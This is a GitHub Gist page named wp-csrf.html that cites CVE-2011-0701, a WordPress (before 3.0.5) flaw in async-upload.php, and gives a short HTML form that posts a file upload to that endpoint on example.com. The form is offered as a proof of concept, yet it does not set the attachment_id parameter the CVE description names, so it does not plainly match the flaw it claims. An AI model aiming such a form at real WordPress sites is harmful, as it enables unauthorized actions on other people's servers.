Skip to content

Instantly share code, notes, and snippets.

@Cvar1984

Cvar1984/wp-csrf.html

Last active July 15, 2022 08:12
Show Gist options
  • Save Cvar1984/60228ef18ef4e21e9e49531d10c782f0 to your computer and use it in GitHub Desktop.
Save Cvar1984/60228ef18ef4e21e9e49531d10c782f0 to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2011-0701 wp-admin/async-upload.php in the media uploader in WordPress before 3.0.5 allows remote authenticated users to read (1) draft posts or (2) private posts via a modified attachment_id parameter.
Raw
wp-csrf.html
<form enctype="multipart/form-data" action="https://example.com/wp-admin/async-upload.php" method="post">
<input type="file" name="uploadfile">
<input type="submit" value="upload">
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment